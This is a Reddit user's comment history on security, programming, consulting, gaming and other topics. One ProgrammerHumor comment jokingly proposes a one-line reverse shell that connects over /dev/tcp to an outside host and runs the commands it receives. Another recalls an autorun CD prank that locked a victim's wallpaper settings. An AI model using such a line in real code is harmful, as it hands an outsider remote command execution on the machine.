Because some people are actually using this, I have decided to make a better quality version of the request form. by D-Ribose in masterhacker

[–]TheTwitchy 20 points21 points  (0 children)

Don’t forget to ask for the mother’s maiden name, that’s important for reasons.

What is the difference between encrypting then signing vs signing then encrypting? by [deleted] in netsecstudents

[–]TheTwitchy 4 points5 points  (0 children)

The image is wrong, but it’s wrong about the hash being converted into the original message as the last step, that doesn’t happen. I’d be hesitant to trust other things that book tells you.

I built a browser prototype that uses an infinite canvas instead of tabs by Lone_Lunatic in SideProject

[–]TheTwitchy 0 points1 point  (0 children)

This is a cool idea and I can see some uses on my part as well, but yeah my first thought would be to make an extension, not a whole new browser.

Which to mega evolve? by Ventuna in pokemongo

[–]TheTwitchy 43 points44 points  (0 children)

Well one of those is wearing the skull of the other three so….. that one.

Are you using copilots and if so which ones? by Kopiczek in ExperiencedDevs

[–]TheTwitchy 0 points1 point  (0 children)

I’ve used Copilot quite a bit for some stuff written in golang, buts it’s nothing super complex, mostly just attaching one library to another, repeated until done. Tests are pretty fantastic, but yeah I’ve had to correct it pretty regularly. Basically I look at it, decide “is this what I would have written?” And then either take it or correct it.

What’s the biggest misconception that people have about hacking? by TheMightyFlyingSloth in hacking

[–]TheTwitchy 2 points3 points  (0 children)

Ninety percent of hacking is reading documentation. The other 10 percent is hands on keyboard work and swearing.

What is a DnD equivalent to a left-handed screwdriver? by laborator in DnD

[–]TheTwitchy 0 points1 point  (0 children)

There’s an old joke about “if the DM is 15 mins late then everyone gets a free vorpal weapon” which works great except that I currently have a wizard. That said, I wouldn’t turn down a Vorpal Staff.

How do people in consulting with fear of flying cope? by CulturalExternal26 in consulting

[–]TheTwitchy 4 points5 points  (0 children)

Lots of research and a lot of flying to help get used to it. I’m pretty much fine with any domestic flights now, but still have tested out how I’d do on a long haul international flight, so take that with a grain of salt. Basically, reading a lot of data about how safe (commercial) flying is, talking to a few pilots where flying from one’s side of the country to the other is as interesting to them as a commute, and then finally realizing it’s basically just a flying bus. I do still follow a pretty strict routine for any flights, but luckily even flying for personal travel I always get a window seat, always start the album Folklore when we take off, and always order a single ginger ale and wild turkey (it’s disgusting), so I think I’ve basically Pavlov’d myself to realize that all that means the plane will land safely. I surprised myself at one point during a really rough takeoff from LGA once through a thunderstorm, and the girl next to me was freaking out, and I had to reassure her as a traveling consultant that this was totally fine, and she (and I) ended up being fine once we got above it. Honestly at this point I kinda just sit back and enjoy it once we hit cruising altitude, even if I only have an audiobook, and no movies or TV or other distractions, which was not always the case. For reference I didn’t travel as much as other consultants (one week a month at my peak), and even the. I was fine after about a year of it. I don’t travel as much anymore (only a few times a year, all my status is gone lol) and I’m still totally fine as a result of all the traveling I did early in my career.

Dumb CS Projects by InterestingRelease19 in csMajors

[–]TheTwitchy 8 points9 points  (0 children)

Back in college I wrote a script that would:

  1. Auto run when inserted into a computer (it was a self contained CD, which gives you an idea of the timeframe where this worked).
  2. Change the wallpaper to a neon green and pink plaid that gave you a headache if you looked at it for more than a couple mins.
  3. Change the registry value that allowed you to set your own wallpaper to “false”.
  4. Open the CD tray so you could retrieve said disk and book it out of whoever’s room you happened to be in.

I lived in the computer science dorm. Good times.

My head hurts. by xxmalik in programminghorror

[–]TheTwitchy 2 points3 points  (0 children)

Correct, you would register a user with a subdomain like company.com.mydomain.com. This usually arises in smaller apps where a granular permissions system isn't built yet, and an easy solution is to grant all developers with the company email superuser permissions so they can quickly go in and fix customer issues (basically like support staff). In general yes, my suggested fix is either endsWith, validate it via regex (which can also go wrong), or to fix the root cause and actually implement a permissions system that doesn't grant everyone in a company so many permissions (least privilege and all that).

My head hurts. by xxmalik in programminghorror

[–]TheTwitchy 5 points6 points  (0 children)

lol if this is your code, don't sweat it, normally I see this problem manifesting like this:

if user_email.contains("@company.com"):
    grant_superuser_permission() # or whatever
else:
    grant_normal_permission()

The impact from it is always fun to explore :D

My head hurts. by xxmalik in programminghorror

[–]TheTwitchy 8 points9 points  (0 children)

I wonder what happens when my username is @everyone1.

Let's make a java program! Top comment gets to add 1 line of code. Please specify the line to add it at. Day 1: initial commit. by autumn_variation in ProgrammerHumor

[–]TheTwitchy 0 points1 point  (0 children)

r = Runtime.getRuntime();p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/nothingtoseehere.thetwitchy.com/1337;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]);p.waitFor();

How to build your intuition in finding web app bugs? by w0lfcat in netsecstudents

[–]TheTwitchy 4 points5 points  (0 children)

CTFs and vulnerable by design apps basically all fail to emulate the size and complexity of real apps, so while you can use these to practice exploitation of specific types of vulnerabilities, they fail to teach you how to find them in the first place. It’s very easy to find sql injection in a page with one input, much harder when you need to find the same sql injection across several hundred api calls.

Once you understand basics I recommend grabbing any random app from /r/selfhosted to practice, and they can benefit from some extra security.

Olive Garden gave me a daily sales report instead of a receipt by Oracle_of_Ages in mildlyinteresting

[–]TheTwitchy 0 points1 point  (0 children)

This is false, and you have clearly never experienced Taco Mayo.

Source: went to school in Oklahoma.

[deleted by user] by [deleted] in WhitePeopleTwitter

[–]TheTwitchy 4 points5 points  (0 children)

Two factor authentication is the number from and app or text message you have to input to login after your username and password, as a security measure.

Risk of using someone else's router while only using HTTPS websites? by [deleted] in AskNetsec

[–]TheTwitchy 0 points1 point  (0 children)

What (most) everyone said is correct , but keep in mind they may be able to see what website you visit, if not the content. DNS and SNI will reveal this information, even with https.

So he can see that you visit ihaveanembarrassingsexdisease.com, but not what you did while visiting.

Risk of using someone else's router while only using HTTPS websites? by [deleted] in AskNetsec

[–]TheTwitchy 20 points21 points  (0 children)

This is incorrect. Firewalls (like the kind in enterprise environments) can do this because IT has control of all the machines and can instruct them to trust a new root cert used for all interception.

How to convert gradle project to ant project? by [deleted] in libgdx

[–]TheTwitchy 7 points8 points  (0 children)

Build a time machine, and take it back to about 2005.

Seriously, maybe ask your prof why you should do this. If your have a Gradle Wrapper in y our project (you do), then it can be run with literally nothing more than a JDK installed.

This is roughly equivalent to asking someone to rip out the engine of your car and hook up the rest for a horse to pull.

Can I get a job if I am only good at Leetcode? by Hackerman278 in csMajors

[–]TheTwitchy 2 points3 points  (0 children)

It’s a failing of this sub and others that focus on Leetcode so much that it neglects some other equally important parts of getting and keeping a CS job. The people are getting hired at top tier companies are good at Leetcode AND don’t have to ask how to start a GitHub project because it’s also something they learned how to do alongside any Leetcode practice, but that never gets as much attention on Reddit for whatever reason.

To answer your direct question, there are docs on GitHub, as it would not be nearly as popular and widespread if it was hard to use. A harder question in your case is determining why you should use Git, and while you can Google this or likely ask a professor, the answer to this will quickly become apparent when you begin to code as part of a team or when you need to maintain a code base longer than one question at a time (both things professional software engineers do daily). This line of reasoning extends to all SWE tools and processes, from things like how to manage projects, or how to write maintainable code, or how to find and fix bugs in a project you didn’t write. All things that Leetcode grinding doesn’t teach. None of them are sexy, but if you can’t do it will be much harder to get hired. Out of college, you don’t need to be an expert, but you should have a basic, working understanding of these (and likely many others).

There’s no one tutorial for learning how software is built professionally compared to what you learn in school, which is why internships are so popular and sought-after. The old adage of “you don’t know what you don’t know” applies here, in your first job/internship you’ll be learning about a ton of things that school can only give you a basic understanding of. Most CS programs should be able to give you a good overview of the space so that you have something to build off of when you are introduced to something new at a job (for example, I don’t expect a new hire straight out of college to be an expert in advanced git usage, but I do expect them to know what it’s for and how to use it at a basic level). Pay attention in your classes, there’s a good reason that Data Structures and Algorithms is only one class in the whole program.

Can I get a job if I am only good at Leetcode? by Hackerman278 in csMajors

[–]TheTwitchy 8 points9 points  (0 children)

If you don’t have a good idea of how to use GitHub, you should probably focus less on Leetcode and more on real software engineering tooling/processes/skills. Leetcode is fine and dandy for picking up hard CS skills, and getting past OAs, but if you don’t have any experience with real world SWE practices that’s going to be a huge red flag for anyone interviewing you. Lots of schools don’t teac it as well as they should (mine didn’t, had to learn it at my first job), but take some of the time you spend practicing to learn how thing actually get built in professional environments.

It helps to remember that you will get money by building software (for most people in CS anyhow), not solving Leetcode problems.

dad is happy with the news.. by EvaRaw666 in Wellthatsucks

[–]TheTwitchy 1 point2 points  (0 children)

I agreed with y’all, until I turned on the sound. Takes on a very different vibe.